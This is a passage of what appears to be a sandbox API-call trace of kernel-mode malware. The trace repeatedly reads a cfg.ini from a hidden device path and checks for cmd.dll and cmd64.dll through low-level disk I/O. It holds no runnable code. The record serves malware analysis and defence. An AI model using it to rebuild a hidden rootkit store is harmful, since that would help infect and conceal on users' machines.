ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.653] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.653] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.653] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.653] IdePortDispatch () returned 0x103 [0127.653] KeWaitForMutexObject () returned 0x0 [0127.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.653] KeLeaveCriticalRegion () [0127.653] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.653] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.653] KeEnterCriticalRegion () [0127.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.653] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.654] KeLeaveCriticalRegion () [0127.654] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.654] KeEnterCriticalRegion () [0127.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.654] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.654] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.654] KeLeaveCriticalRegion () [0127.654] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.654] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.654] KeEnterCriticalRegion () [0127.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.654] ExFreePoolWithTag (P=0xfffffa8003bfb3c0, Tag=0x0) [0127.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.654] KeLeaveCriticalRegion () [0127.654] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.654] ReleaseMutex (hMutex=0xf0) returned 1 [0127.654] Sleep (dwMilliseconds=0x124f80) [0127.667] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.667] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.667] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.667] KeEnterCriticalRegion () [0127.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.668] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.668] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.668] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.668] IdePortDispatch () returned 0x103 [0127.668] KeWaitForMutexObject () returned 0x0 [0127.668] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.668] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.668] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.668] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.668] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.668] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e17f0 [0127.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.668] KeLeaveCriticalRegion () [0127.668] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.668] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.668] KeEnterCriticalRegion () [0127.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.668] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.668] KeLeaveCriticalRegion () [0127.668] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.668] KeEnterCriticalRegion () [0127.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.668] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.668] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.668] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.668] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.668] IdePortDispatch () returned 0x103 [0127.668] KeWaitForMutexObject () returned 0x0 [0127.668] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.669] KeLeaveCriticalRegion () [0127.669] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.669] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.669] KeEnterCriticalRegion () [0127.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.669] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b81000 [0127.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.669] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.669] IdePortDispatch () returned 0x103 [0127.669] KeWaitForMutexObject () returned 0x0 [0127.669] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.669] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.669] IdePortDispatch () returned 0x103 [0127.669] KeWaitForMutexObject () returned 0x0 [0127.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.669] KeLeaveCriticalRegion () [0127.669] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.670] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.670] KeEnterCriticalRegion () [0127.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.670] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.670] KeLeaveCriticalRegion () [0127.670] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.670] KeEnterCriticalRegion () [0127.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.670] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.670] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1a60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.670] KeLeaveCriticalRegion () [0127.670] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.670] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.670] KeEnterCriticalRegion () [0127.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.670] ExFreePoolWithTag (P=0xfffffa80037e17f0, Tag=0x0) [0127.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.670] KeLeaveCriticalRegion () [0127.670] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.670] ReleaseMutex (hMutex=0xf0) returned 1 [0127.670] Sleep (dwMilliseconds=0x124f80) [0127.684] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.684] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.684] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.684] KeEnterCriticalRegion () [0127.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.684] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.684] IdePortDispatch () returned 0x103 [0127.684] KeWaitForMutexObject () returned 0x0 [0127.685] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.685] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.685] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.685] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.685] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.685] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb3c0 [0127.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.685] KeLeaveCriticalRegion () [0127.685] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.685] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.685] KeEnterCriticalRegion () [0127.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.685] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.685] KeLeaveCriticalRegion () [0127.685] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.685] KeEnterCriticalRegion () [0127.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.685] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.685] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.685] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.685] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.685] IdePortDispatch () returned 0x103 [0127.685] KeWaitForMutexObject () returned 0x0 [0127.685] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.685] KeLeaveCriticalRegion () [0127.685] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.685] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.685] KeEnterCriticalRegion () [0127.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.685] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b86000 [0127.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.686] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.686] IdePortDispatch () returned 0x103 [0127.686] KeWaitForMutexObject () returned 0x0 [0127.686] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.686] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.686] IdePortDispatch () returned 0x103 [0127.686] KeWaitForMutexObject () returned 0x0 [0127.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.686] KeLeaveCriticalRegion () [0127.686] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.687] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.687] KeEnterCriticalRegion () [0127.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.687] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.687] KeLeaveCriticalRegion () [0127.687] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.687] KeEnterCriticalRegion () [0127.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.687] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.687] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.687] KeLeaveCriticalRegion () [0127.687] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.687] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.687] KeEnterCriticalRegion () [0127.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.687] ExFreePoolWithTag (P=0xfffffa8003bfb3c0, Tag=0x0) [0127.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.687] KeLeaveCriticalRegion () [0127.687] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.687] ReleaseMutex (hMutex=0xf0) returned 1 [0127.687] Sleep (dwMilliseconds=0x124f80) [0127.702] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.702] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.702] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.702] KeEnterCriticalRegion () [0127.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.702] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.702] IdePortDispatch () returned 0x103 [0127.702] KeWaitForMutexObject () returned 0x0 [0127.702] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.702] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.702] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.702] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.702] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.702] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfcd00 [0127.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.703] KeLeaveCriticalRegion () [0127.703] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.703] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.703] KeEnterCriticalRegion () [0127.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.703] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.703] KeLeaveCriticalRegion () [0127.703] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.703] KeEnterCriticalRegion () [0127.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.703] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.703] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.703] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.703] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.703] IdePortDispatch () returned 0x103 [0127.703] KeWaitForMutexObject () returned 0x0 [0127.703] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.703] KeLeaveCriticalRegion () [0127.703] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.703] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.703] KeEnterCriticalRegion () [0127.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.703] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8b000 [0127.703] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.703] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.703] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.703] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.703] IdePortDispatch () returned 0x103 [0127.703] KeWaitForMutexObject () returned 0x0 [0127.704] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.704] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.704] IdePortDispatch () returned 0x103 [0127.704] KeWaitForMutexObject () returned 0x0 [0127.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.704] KeLeaveCriticalRegion () [0127.704] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.704] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.704] KeEnterCriticalRegion () [0127.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.704] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.704] KeLeaveCriticalRegion () [0127.705] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.705] KeEnterCriticalRegion () [0127.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.705] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.705] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfcbc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.705] KeLeaveCriticalRegion () [0127.705] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.705] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.705] KeEnterCriticalRegion () [0127.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.705] ExFreePoolWithTag (P=0xfffffa8003bfcd00, Tag=0x0) [0127.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.705] KeLeaveCriticalRegion () [0127.705] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.705] ReleaseMutex (hMutex=0xf0) returned 1 [0127.705] Sleep 